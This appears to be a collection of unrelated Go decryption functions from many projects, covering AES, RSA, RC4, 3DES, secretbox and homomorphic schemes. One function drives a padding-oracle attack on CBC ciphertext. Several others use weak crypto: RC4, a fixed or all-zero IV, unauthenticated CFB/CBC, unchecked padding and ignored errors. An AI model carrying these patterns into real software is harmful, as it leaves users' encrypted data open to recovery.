[ "func (v envVault) DecryptText(text string) (string, error) {\n\treturn DecryptText(text, v.passPhrase)\n}", "func (v nullVault) DecryptText(text string) (string, error) {\n\treturn text, nil\n}", "func Decrypt(key []byte, text string) string {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tcipherText := decodeBase64(text)\n\tcfb := cipher.NewCFBDecrypter(block, iv)\n\tplaintext := make([]byte, len(cipherText))\n\tcfb.XORKeyStream(plaintext, cipherText)\n\treturn string(plaintext)\n}", "func decrypt(key, text []byte) ([]byte, error) {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(text) < aes.BlockSize {\n\t\treturn nil, errors.New(\"ciphertext is too short.\")\n\t}\n\n\tiv := text[:aes.BlockSize]\n\ttext = text[aes.BlockSize:]\n\tcfb := cipher.NewCBCDecrypter(block, iv)\n\tcfb.CryptBlocks(text, text)//.XORKeyStream(test, test)\n\n\tdata, err := base64.StdEncoding.DecodeString(string(text))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn data, nil\n}", "func decrypt(key, text []byte) ([]byte, error) {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(text) < aes.BlockSize {\n\t\treturn nil, errors.New(\"ciphertext too short\")\n\t}\n\tiv := text[:aes.BlockSize]\n\ttext = text[aes.BlockSize:]\n\tcfb := cipher.NewCFBDecrypter(block, iv)\n\tcfb.XORKeyStream(text, text)\n\tdata, err := base64.StdEncoding.DecodeString(string(text))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn data, nil\n}", "func Decrypt(key []byte, encryptedText string) string {\n\tciphertext, _ := base64.URLEncoding.DecodeString(encryptedText)\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Using IV\n\tiv := ciphertext[:aes.BlockSize]\n\n\t// Checking BlockSize = IV\n\tif len(iv) != aes.BlockSize {\n\t\tpanic(\"[Error] Ciphertext is too short!\")\n\t}\n\n\tciphertext = ciphertext[aes.BlockSize:]\n\n\t// Decryption Process\n\tstream := cipher.NewCFBDecrypter(block, iv)\n\tstream.XORKeyStream(ciphertext, ciphertext)\n\n\treturn string(ciphertext)\n}", "func (a Aes) Decrypt(text string) (string, error) {\n\treturn a.decrypt([]byte(a.Key), text)\n}", "func Decrypt(keyStr, ivStr, text string) (string, error) {\n\tkey := []byte(keyStr)\n\tiv := []byte(ivStr)\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tdecoded, err := base64Decode(text)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tciphertext := decoded[aes.BlockSize:]\n\n\tif len(ciphertext)%aes.BlockSize != 0 {\n\t\treturn \"\", errors.New(\"ciphertext is not a multiple of the block size\")\n\t}\n\n\tmode := cipher.NewCBCDecrypter(block, iv)\n\tmode.CryptBlocks(ciphertext, ciphertext)\n\n\tunpaded, err := unpad(ciphertext)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn fmt.Sprintf(\"%s\", unpaded), nil\n}", "func Decrypt(cryptoText string) (decryptedText string, err error) {\n\n\t// validate key\n\tif err = initKey(); err != nil {\n\t\treturn\n\t}\n\n\t// create cipher block from key\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tciphertext, _ := base64.URLEncoding.DecodeString(cryptoText)\n\n\t// The IV needs to be unique, but not secure. Therefore it's common to\n\t// include it at the beginning of the ciphertext.\n\tif len(ciphertext) < aes.BlockSize {\n\t\terr = fmt.Errorf(\"ciphertext is too small\")\n\t\treturn\n\t}\n\tiv := ciphertext[:aes.BlockSize]\n\tciphertext = ciphertext[aes.BlockSize:]\n\n\tstream := cipher.NewCFBDecrypter(block, iv)\n\n\t// XORKeyStream can work in-place if the two arguments are the same.\n\tstream.XORKeyStream(ciphertext, ciphertext)\n\n\tdecryptedText = fmt.Sprintf(\"%s\", ciphertext)\n\n\treturn\n}", "func Decrypt(key, text []byte) ([]byte, error) {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(text) < aes.BlockSize {\n\t\treturn nil, errors.New(\"ciphertext too short\")\n\t}\n\tiv := text[:aes.BlockSize]\n\ttext = text[aes.BlockSize:]\n\tcfb := cipher.NewCFBDecrypter(block, iv)\n\tcfb.XORKeyStream(text, text)\n\tdata, err := base64.StdEncoding.DecodeString(string(text))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn data, nil\n}", "func decrypt(cryptoText string) string {\n\tciphertext, _ := base64.URLEncoding.DecodeString(cryptoText)\n\n\tblock, err := aes.NewCipher(key())\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// The IV needs to be unique, but not secure. Therefore it's common to\n\t// include it at the beginning of the ciphertext.\n\tif len(ciphertext) < aes.BlockSize {\n\t\tpanic(\"ciphertext too short\")\n\t}\n\tiv := ciphertext[:aes.BlockSize]\n\tciphertext = ciphertext[aes.BlockSize:]\n\n\tstream := cipher.NewCFBDecrypter(block, iv)\n\n\t// XORKeyStream can work in-place if the two arguments are the same.\n\tstream.XORKeyStream(ciphertext, ciphertext)\n\n\treturn fmt.Sprintf(\"%s\", ciphertext)\n}", "func Decrypt(c []byte, q Poracle, l *log.Logger) (string, error) {\n\tn := len(c) / CipherBlockLen\n\tif n < 2 {\n\t\treturn \"\", ErrInvalidCiphertext\n\t}\n\tif len(c)%CipherBlockLen != 0 {\n\t\treturn \"\", ErrInvalidCiphertext\n\t}\n\t// The clear text have the same length as the cyphertext - 1\n\t// (the IV).\n\tvar m []byte\n\tfor i := 1; i < n; i++ {\n\t\tc0 := c[(i-1)*CipherBlockLen : CipherBlockLen*(i-1)+CipherBlockLen]\n\t\tc1 := c[CipherBlockLen*i : (CipherBlockLen*i)+CipherBlockLen]\n\t\tl.Printf(\"\\ndecripting block %d of %d\", i, n)\n\t\tmi, err := decryptBlock(c0, c1, q, l)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tm = append(m, mi...)\n\t}\n\treturn string(m), nil\n}", "func (v envVault) EncryptText(text string) (string, error) {\n\treturn EncryptText(text, v.passPhrase)\n}", "func Decrypt(key []byte, cryptoText string) string {\n\tciphertext, _ := base64.URLEncoding.DecodeString(cryptoText)\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\t// The IV needs to be unique, but not secure. Therefore it's common to\n\t// include it at the beginning of the ciphertext.\n\tif len(ciphertext) < aes.BlockSize {\n\t\tpanic(\"ciphertext too short\")\n\t}\n\tiv := ciphertext[:aes.BlockSize]\n\tciphertext = ciphertext[aes.BlockSize:]\n\tstream := cipher.NewCFBDecrypter(block, iv)\n\t// XORKeyStream can work in-place if the two arguments are the same.\n\tstream.XORKeyStream(ciphertext, ciphertext)\n\treturn fmt.Sprintf(\"%s\", ciphertext)\n}", "func Decrypt(encrypted string) (string, error) {\n\tencKey := os.Getenv(\"ENC_KEY\")\n\tencIv := os.Getenv(\"ENC_IV\")\n\tkey := []byte(encKey)\n\tiv := []byte(encIv)\n\tcipherText, _ := base64.StdEncoding.DecodeString(encrypted)\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif len(cipherText) < aes.BlockSize {\n\t\terr := fmt.Errorf(`cipherText too short: \"%s\"`, cipherText)\n\t\treturn \"\", err\n\t}\n\tif len(cipherText)%aes.BlockSize != 0 {\n\t\terr := fmt.Errorf(`cipherText is not multiple of the block size: \"%s\"`, cipherText)\n\t\treturn \"\", err\n\t}\n\n\tmode := cipher.NewCBCDecrypter(block, iv)\n\tmode.CryptBlocks(cipherText, cipherText)\n\n\tcipherText, _ = unpad(cipherText, aes.BlockSize)\n\treturn fmt.Sprintf(\"%s\", cipherText), nil\n}", "func Decrypt(cipherText []byte, key []byte, iv []byte) []byte {\n\tplainText, err := getCipher(key).Open(nil, iv, cipherText, nil)\n\tif err != nil {\n\t\tpanic(\"Error decrypting data: \" + err.Error())\n\t}\n\n\treturn plainText\n}", "func Decrypt(key []byte, cryptoText string) string {\n\tciphertext, _ := base64.URLEncoding.DecodeString(cryptoText)\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// The IV needs to be unique, but not secure. Therefore it's common to\n\t// include it at the beginning of the ciphertext.\n\tif len(ciphertext) < aes.BlockSize {\n\t\tpanic(\"ciphertext too short\")\n\t}\n\tiv := ciphertext[:aes.BlockSize]\n\tciphertext = ciphertext[aes.BlockSize:]\n\n\tstream := cipher.NewCFBDecrypter(block, iv)\n\n\t// XORKeyStream can work in-place if the two arguments are the same.\n\tstream.XORKeyStream(ciphertext, ciphertext)\n\n\treturn fmt.Sprintf(\"%s\", ciphertext)\n}", "func (v passPhraseVault) EncryptText(text string) (string, error) {\n\treturn EncryptText(text, v.passPhrase)\n}", "func Decrypt(str string) (string, error) {\n\tcipherText, err := base64.URLEncoding.DecodeString(str)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tblock, err := aes.NewCipher([]byte(os.Getenv(\"ENC_KEY\")))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tif len(cipherText) < aes.BlockSize {\n\t\terr = errors.New(\"Ciphertext block size is too short!\")\n\t\treturn \"\", err\n\t}\n\n\t//IV needs to be unique, but doesn't have to be secure.\n\t//It's common to put it at the beginning of the ciphertext.\n\tiv := cipherText[:aes.BlockSize]\n\tcipherText = cipherText[aes.BlockSize:]\n\n\tstream := cipher.NewCFBDecrypter(block, iv)\n\t// XORKeyStream can work in-place if the two arguments are the same.\n\tstream.XORKeyStream(cipherText, cipherText)\n\n\treturn string(cipherText), nil\n}", "func Decrypt(k []byte, crypted string) (string, error) {\n\tif crypted == \"\" || len(crypted) < 8 {\n\t\treturn \"\", nil\n\t}\n\n\tcryptedbytes, err := base64.StdEncoding.DecodeString(crypted[1 : len(crypted)-1])\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tivlength := (cryptedbytes[4] & 0xff)\n\tif int(ivlength) > len(cryptedbytes) {\n\t\treturn \"\", errors.New(\"invalid encrypted string\")\n\t}\n\n\tcryptedbytes = cryptedbytes[1:] //Strip the version\n\tcryptedbytes = cryptedbytes[4:] //Strip the iv length\n\tcryptedbytes = cryptedbytes[4:] //Strip the data length\n\n\tiv := cryptedbytes[:ivlength]\n\tcryptedbytes = cryptedbytes[ivlength:]\n\n\tblock, err := aes.NewCipher(k)\n\tif err != nil {\n\t\tfmt.Println(\"Error creating new cipher\", err)\n\t\treturn \"\", err\n\t}\n\tif len(cryptedbytes) < aes.BlockSize {\n\t\tfmt.Println(\"Ciphertext too short\")\n\t\treturn \"\", err\n\t}\n\tif len(cryptedbytes)%aes.BlockSize != 0 {\n\t\tfmt.Println(\"Ciphertext is not a multiple of the block size\")\n\t\treturn \"\", err\n\t}\n\tmode := cipher.NewCBCDecrypter(block, iv)\n\tmode.CryptBlocks(cryptedbytes, cryptedbytes)\n\n\tdecrypted := strings.TrimSpace(string(cryptedbytes))\n\tdecrypted = strings.TrimFunc(decrypted, func(r rune) bool {\n\t\treturn !unicode.IsGraphic(r)\n\t})\n\treturn decrypted, nil\n}", "func (g *Gossiper) RSADecryptText(ctext string) string {\n\thash := utils.HASH_ALGO.New()\n\ttextBytes := []byte(ctext)\n\ttext := \"\"\n\n\tfor i := 0; i < len(textBytes); {\n\t\tj := int(math.Min(float64(len(textBytes)), float64(i+g.privateKey.Size())))\n\t\ttextBytes, e := rsa.DecryptOAEP(hash, rand.Reader, &g.privateKey, textBytes[i:j], nil)\n\t\tutils.HandleError(e)\n\t\ttext += string(textBytes)\n\t\ti = j\n\t}\n\treturn text\n}", "func decrypt(aesKey []byte, cipherText []byte, associatedData []byte) ([]byte, error) {\n\tcipher, err := subtle.NewAESGCM(aesKey)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to initialize cipher: %v\", err)\n\t}\n\treturn cipher.Decrypt(cipherText, associatedData)\n}", "func (v nullVault) EncryptText(text string) (string, error) {\n\treturn text, nil\n}", "func (m *TripleDesCBC) Decrypt(key, s string) (string, error) {\n\terr := gocrypto.SetDesKey(gocrypto.Md5(key)[0:24])\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tbsd, err := base64.StdEncoding.DecodeString(strings.Replace(s, kpassSign, \"\", -1))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tacd, err := gocrypto.TripleDesCBCDecrypt(bsd)\n\tif !strings.Contains(string(acd), kpassSign) {\n\t\treturn \"\", errors.New(\"desKey is error\")\n\t}\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn strings.Replace(string(acd), kpassSign, \"\", -1), err\n}", "func (a *Agent) Decrypt(b []byte) ([]byte, error) {\n\tchallenge, cipherText, err := sshcryptdata.DecodeChallengeCipherText(string(b))\n\tif err != nil {\n\t\treturn []byte{}, fmt.Errorf(\"%s\", err)\n\t}\n\tsig, err := sshcryptactions.Sign(a.signer, challenge)\n\tif err != nil {\n\t\treturn []byte{}, fmt.Errorf(\"%s\", err)\n\t}\n\n\tclearText, ok, err := sshcryptactions.DecryptWithPassword(sig.Blob, cipherText)\n\tif err != nil {\n\t\treturn []byte{}, fmt.Errorf(\"%s\", err)\n\t}\n\tif !ok {\n\t\treturn []byte{}, fmt.Errorf(\"couldnt decrypt\")\n\t}\n\treturn []byte(clearText), nil\n}", "func PwDecrypt(encrypted, byteSecret []byte) (string, error) {\n\n\tvar secretKey [32]byte\n\tcopy(secretKey[:], byteSecret)\n\n\tvar decryptNonce [24]byte\n\tcopy(decryptNonce[:], encrypted[:24])\n\tdecrypted, ok := secretbox.Open(nil, encrypted[24:], &decryptNonce, &secretKey)\n\tif !ok {\n\t\treturn \"\", errors.New(\"PwDecrypt(secretbox.Open)\")\n\t}\n\n\treturn string(decrypted), nil\n}", "func (r *RSACrypto) Decrypt(cipherText []byte) ([]byte, error) {\n\tblock, _ := pem.Decode(r.privateKey)\n\n\tif block == nil {\n\t\treturn nil, errors.New(\"yiigo: invalid rsa private key\")\n\t}\n\n\tkey, err := x509.ParsePKCS1PrivateKey(block.Bytes)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn rsa.DecryptPKCS1v15(rand.Reader, key, cipherText)\n}", "func Decrypt(key []byte, text string) (string, error) {\n\tciphertext, derr := base64.StdEncoding.DecodeString(text)\n\tif derr != nil {\n\t\treturn \"\", derr\n\t}\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\taesgcm, err := cipher.NewGCM(block)\n\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tnonceSize := aesgcm.NonceSize()\n\n\tif len(ciphertext) < nonceSize {\n\t\treturn \"\", errors.New(\"ciphertext too short\")\n\t}\n\n\tnonce, ciphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]\n\n\tplaintext, err := aesgcm.Open(nil, nonce, ciphertext, nil)\n\n\treturn string(plaintext), err\n}", "func (c AESCBC) Decrypt(cipherText []byte) []byte {\n\t// CBC mode always works in whole blocks.\n\tif len(cipherText)%aes.BlockSize != 0 {\n\t\tpanic(\"ciphertext is not a multiple of the block size\")\n\t}\n\n\tdecryptedText := make([]byte, len(cipherText))\n\n\tmode := cipher.NewCBCDecrypter(c.block, c.iv)\n\n\tfor i := 0; i < len(cipherText)/aes.BlockSize; i++ {\n\t\tmode.CryptBlocks(decryptedText[i*aes.BlockSize:(i+1)*aes.BlockSize], cipherText[i*aes.BlockSize:(i+1)*aes.BlockSize])\n\t}\n\treturn decryptedText\n}", "func DecryptString(key []byte, cryptoText string) (string, error) {\n ciphertext, _ := base64.StdEncoding.DecodeString(cryptoText)\n ciphertext, err:=Decrypt(key, ciphertext)\n if err!=nil{\n return \"\", err\n }\n return fmt.Sprintf(\"%s\", ciphertext), nil\n}", "func (aesOpt *AESOpt) Decrypt(chiperText []byte) (string, error) {\n\n\tenc, _ := hex.DecodeString(string(chiperText))\n\n\t//Get the nonce size\n\tnonceSize := aesOpt.aesGCM.NonceSize()\n\tif len(enc) < nonceSize {\n\t\treturn \"\", errors.New(\"The data can't be decrypted\")\n\t}\n\t//Extract the nonce from the encrypted data\n\tnonce, ciphertext := enc[:nonceSize], enc[nonceSize:]\n\n\t//Decrypt the data\n\tplainText, err := aesOpt.aesGCM.Open(nil, nonce, ciphertext, nil)\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"decryptAES.aesGCM.Open\")\n\t}\n\n\treturn fmt.Sprintf(\"%s\", plainText), nil\n}", "func Decrypt(key string, cipherText string, nonce string) []byte {\n\tkeyInBytes, err := hex.DecodeString(key)\n\tPanicOnError(err)\n\tdata, err := hex.DecodeString(cipherText)\n\tPanicOnError(err)\n\tblock, err := aes.NewCipher(keyInBytes)\n\tPanicOnError(err)\n\tgcm, err := cipher.NewGCM(block)\n\tPanicOnError(err)\n\tnonceInBytes, err := hex.DecodeString(nonce[0 : 2*gcm.NonceSize()])\n\tPanicOnError(err)\n\tdata, err = gcm.Open(nil, nonceInBytes, data, nil)\n\tif err != nil {\n\t\treturn nil\n\t}\n\treturn data\n}", "func Decrypt(passphrase string, ciphertext []byte) (string, error) {\n\tarr := strings.Split(string(ciphertext), \"-\")\n\tsalt, err := hex.DecodeString(arr[0])\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tiv, err := hex.DecodeString(arr[1])\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tdata, err := hex.DecodeString(arr[2])\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tkey, _, err := deriveKey(passphrase, salt)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tb, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\taesgcm, err := cipher.NewGCM(b)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tdata, err = aesgcm.Open(nil, iv, data, nil)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(data), nil\n}", "func (refreshProtocol *RefreshProtocol) Decrypt(ciphertext *ckks.Ciphertext, shareDecrypt RefreshShareDecrypt) {\n\trefreshProtocol.dckksContext.ringQ.AddLvl(ciphertext.Level(), ciphertext.Value()[0], shareDecrypt, ciphertext.Value()[0])\n}", "func TestEncryptionDecryptByPassPhraseWithUnmatchedPass(t *testing.T) {\n\tpassPhrase := \"123\"\n\tplaintext := []byte{1, 2, 3, 4}\n\tciphertextStr, _ := encryptByPassPhrase(passPhrase, plaintext)\n\n\tpassPhrase2 := \"1234\"\n\tplaintext2, err := decryptByPassPhrase(passPhrase2, ciphertextStr)\n\n\tassert.NotEqual(t, plaintext, plaintext2)\n\tassert.Equal(t, nil, err)\n}", "func DecryptString(cipherText string, key []byte, iv []byte) string {\n\tcipherTextAsBytes, _ := base64.URLEncoding.DecodeString(cipherText)\n\treturn string(Decrypt(cipherTextAsBytes, key, iv))\n}", "func (decryptor *Decryptor) Decrypt(ciphertext *Ciphertext) *Plaintext {\n\tplaintext := NewPlaintext(decryptor.ctx.N, decryptor.ctx.Q, decryptor.ctx.NttParams)\n\tplaintext.Value.MulCoeffs(ciphertext.value[1], *decryptor.secretkey)\n\tplaintext.Value.Add(plaintext.Value, ciphertext.value[0])\n\tplaintext.Value.Poly.InverseNTT()\n\tcenter(plaintext.Value)\n\tplaintext.Value.MulScalar(plaintext.Value, decryptor.ctx.T)\n\tplaintext.Value.DivRound(plaintext.Value, decryptor.ctx.Q)\n\tplaintext.Value.Mod(plaintext.Value, decryptor.ctx.T)\n\treturn plaintext\n}", "func (p *Polybius) Decipher(text string) string {\n\tchars := []rune(strings.ToUpper(text))\n\tres := \"\"\n\tfor i := 0; i < len(chars); i += 2 {\n\t\tres += p.decipherPair(chars[i : i+2])\n\t}\n\treturn res\n}", "func DecryptString(to_decrypt string, key_string string) string {\n\tciphertext := DecodeBase64(to_decrypt)\n\tkey := DecodeBase64(key_string)\n\t// create the cipher\n\tc, err := rc4.NewCipher(key)\n\tif err != nil {\n\t\tfmt.Println(\"ERROR: there was a key size error (my_server.go: DecryptString)\")\n\t\tfmt.Println(err) \n\t}\n\t// make an empty byte array to fill\n\tplaintext := make([]byte, len(ciphertext))\n\t// decrypt the ciphertext\n\tc.XORKeyStream(plaintext, ciphertext)\n return string(plaintext)\n}", "func Decrypt(encrypted string) (string, error) {\n\tdata, err := base64.StdEncoding.DecodeString(encrypted)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tsecret := os.Getenv(\"TEAM254_SECRET\")\n\tif secret == \"\" {\n\t\treturn \"\", errors.New(\"TEAM254_SECRET environment variable not set.\")\n\t}\n\tsecretDigest := sha256.Sum256([]byte(secret))\n\tblock, err := aes.NewCipher(secretDigest[:])\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tiv := make([]byte, aes.BlockSize)\n\tmode := cipher.NewCBCDecrypter(block, iv)\n\tmode.CryptBlocks(data, data)\n\t// Remove any PKCS#7 padding.\n\tpaddingSize := int(data[len(data)-1])\n\treturn string(data[:len(data)-paddingSize]), nil\n}", "func Decrypt(data []byte, passphrase string) ([]byte, error) {\n\tif len(data) == 0 || len(passphrase) == 0 {\n\t\treturn data, fmt.Errorf(\"Length of data is zero, can't decrpyt!\")\n\t}\n\ttempParam := utils.SHA3hash(passphrase)\n\tkey := []byte(tempParam[96:128]) // last 32 characters in hash\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tlog.Println(\"Error while initializing cipher decryption\")\n\t\treturn data, err\n\t}\n\tgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\tlog.Println(\"Failed to initialize a new AES GCM while decrypting\")\n\t\treturn data, err\n\t}\n\tnonceSize := gcm.NonceSize()\n\tnonce, ciphertext := data[:nonceSize], data[nonceSize:]\n\tplaintext, err := gcm.Open(nil, nonce, ciphertext, nil)\n\tif err != nil {\n\t\tlog.Println(\"Failed to open gcm while decrypting\", err)\n\t\treturn plaintext, err\n\t}\n\treturn plaintext, nil\n}", "func Decrypt(key []byte) []byte {\n\tdecryptedbin, err := dpapi.DecryptBytes(key)\n\terror_log.Check(err, \"Unprotect String with DPAPI\", \"decrypter\")\n\treturn decryptedbin\n}", "func (rs *RatchetServer) Decrypt(msg []byte) ([]byte, error) {\n\treturn rs.serverConfig.ProcessOracleMessage(msg)\n}", "func Decrypt(data []byte, passphrase string) ([]byte, error) {\n\tkey := []byte(createHash(passphrase))\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tnonceSize := gcm.NonceSize()\n\tnonce, ciphertext := data[:nonceSize], data[nonceSize:]\n\tplaintext, err := gcm.Open(nil, nonce, ciphertext, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn plaintext, nil\n}", "func Decrypt(password string, inputFilePath string, outputFilePath string) error {\n\t_, err := core.Decrypt(password, inputFilePath, outputFilePath)\n\n\treturn err\n}", "func decrypt(ciphertext []byte, IV []byte) []byte {\n plaintext, err := aead.Open(nil, IV, ciphertext, nil)\n if err != nil {\n fmt.Fprintln(os.Stderr, \"Error with AES decryption: \" + err.Error())\n os.Exit(1)\n }\n\n return plaintext\n}", "func (k *Filesystem) Decrypt(ctx context.Context, keyID string, ciphertext []byte, aad []byte) ([]byte, error) {\n\tk.mu.RLock()\n\tdefer k.mu.RUnlock()\n\n\t// Figure out which DEK to use\n\tparts := bytes.SplitN(ciphertext, []byte(\":\"), 2)\n\tif len(parts) < 2 {\n\t\treturn nil, fmt.Errorf(\"invalid ciphertext: missing version\")\n\t}\n\tversion, ciphertext := parts[0], parts[1]\n\n\tversionPath := filepath.Join(k.root, keyID, string(version))\n\tdek, err := os.ReadFile(versionPath)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to read encryption key: %w\", err)\n\t}\n\n\tblock, err := aes.NewCipher(dek)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to create cipher from dek: %w\", err)\n\t}\n\n\taesgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to create gcm from dek: %w\", err)\n\t}\n\n\tsize := aesgcm.NonceSize()\n\tif len(ciphertext) < size {\n\t\treturn nil, fmt.Errorf(\"malformed ciphertext\")\n\t}\n\tnonce, ciphertextPortion := ciphertext[:size], ciphertext[size:]\n\n\tplaintext, err := aesgcm.Open(nil, nonce, ciphertextPortion, aad)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to decrypt ciphertext with dek: %w\", err)\n\t}\n\n\treturn plaintext, nil\n}", "func Decrypt(cypherBase64 []byte, nonceBase64 string, key []byte) ([]byte, error) {\n\tvar plaintext []byte\n\n\tnonceText := make([]byte, base64.StdEncoding.DecodedLen(len(nonceBase64)))\n\t_, err := base64.StdEncoding.Decode(nonceText, []byte(nonceBase64))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcypherText := make([]byte, base64.StdEncoding.DecodedLen(len(cypherBase64)))\n\tcypherLen, err := base64.StdEncoding.Decode(cypherText, cypherBase64)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tnonceArray := &[nonceLen]byte{}\n\tcopy(nonceArray[:], nonceText[:nonceLen])\n\n\tencKey := &[keyLen]byte{}\n\tcopy(encKey[:], key)\n\n\tplaintext, ok := secretbox.Open(plaintext, cypherText[:cypherLen], nonceArray, encKey)\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"Error decrypting\")\n\t}\n\treturn plaintext, nil\n}", "func (pp *PermuteProtocol) Decrypt(ciphertext *bfv.Ciphertext, shareDecrypt RefreshShareDecrypt, sharePlaintext *ring.Poly) {\n\tpp.context.ringQ.Add(ciphertext.Value()[0], shareDecrypt, sharePlaintext)\n}", "func Decrypt(cipherText, sig, key []byte) ([]byte, error) {\n\n\tif len(cipherText) == 0 {\n\t\treturn nil, errors.New(\"empty cipher text\")\n\t}\n\n\tdata := cipherText[:len(cipherText)-12]\n\tnonce := cipherText[len(cipherText)-12:]\n\n\tif err := validateHMAC(key, data, sig); err != nil {\n\t\treturn nil, err\n\t}\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\taesgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tplainText, err := aesgcm.Open(nil, nonce, data, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn plainText, nil\n}", "func Decrypt(data []byte, passphrase string) ([]byte, error) {\n\tkey := createHash(passphrase)\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn []byte{}, err\n\t}\n\tgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\treturn []byte{}, err\n\t}\n\tnonceSize := gcm.NonceSize()\n\tnonce, ciphertext := data[:nonceSize], data[nonceSize:]\n\tplaintext, err := gcm.Open(nil, nonce, ciphertext, nil)\n\tif err != nil {\n\t\treturn []byte{}, err\n\t}\n\treturn plaintext, nil\n}", "func (v *Vault) Decipher(value string) string {\n\ts5Engine := s5Vault.Client{\n\t\tClient: v.Client,\n\t\tConfig: &s5Vault.Config{\n\t\t\tKey: s.Vault.TransitKey,\n\t\t},\n\t}\n\n\tparsedInput, err := s5.ParseInput(value)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tdecipheredValue, err := s5Engine.Decipher(parsedInput)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\treturn decipheredValue\n}", "func (t *DefaultTpke) Decrypt(decShares map[string]cleisthenes.DecryptionShare, ctBytes []byte) ([]byte, error) {\n\tct := tpk.NewCipherTextFromBytes(ctBytes)\n\tds := make(map[string]*tpk.DecryptionShare)\n\tfor id, decShare := range decShares {\n\t\tds[id] = tpk.NewDecryptionShareFromBytes(decShare)\n\t}\n\treturn t.publicKeySet.DecryptUsingStringMap(ds, ct)\n}", "func DecryptCiphertext(ct, key, IV []byte) ([]byte, error) {\n\tciph, e := aes.NewCipher(key)\n\tif e != nil {\n\t\treturn nil, e\n\t}\n\tn := len(ct)\n\tcbcdec := cipher.NewCBCDecrypter(ciph, IV)\n\tdst := make([]byte, n)\n\tcopy(dst, ct)\n\tcbcdec.CryptBlocks(dst, ct)\n\treturn dst, nil\n}", "func Decrypt(message, password string) (string, error) {\n\tvar key [32]byte\n\tcopy(key[:], password)\n\tdecryptedMessage, err := DecryptBytes([]byte(message), key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(decryptedMessage), nil\n}", "func (v *DefaultVaultClient) Decrypt(key, ciphertext string) (string, error) {\n\tkv := map[string]interface{}{\"ciphertext\": ciphertext}\n\ts, err := v.Logical().Write(v.decryptEndpoint(key), kv)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif s == nil {\n\t\treturn \"\", fmt.Errorf(\"Unable to get decryped value using encryption key %s \", key)\n\t}\n\treturn s.Data[\"plaintext\"].(string), nil\n}", "func (rc4Opt *RC4Opt) Decrypt(disini []byte) (string, error) {\n\tsrc, err := hex.DecodeString(string(disini))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t/* #nosec */\n\tcipher, err := rc4.NewCipher(rc4Opt.secret)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdst := make([]byte, len(src))\n\tcipher.XORKeyStream(dst, src)\n\treturn string(dst), nil\n}", 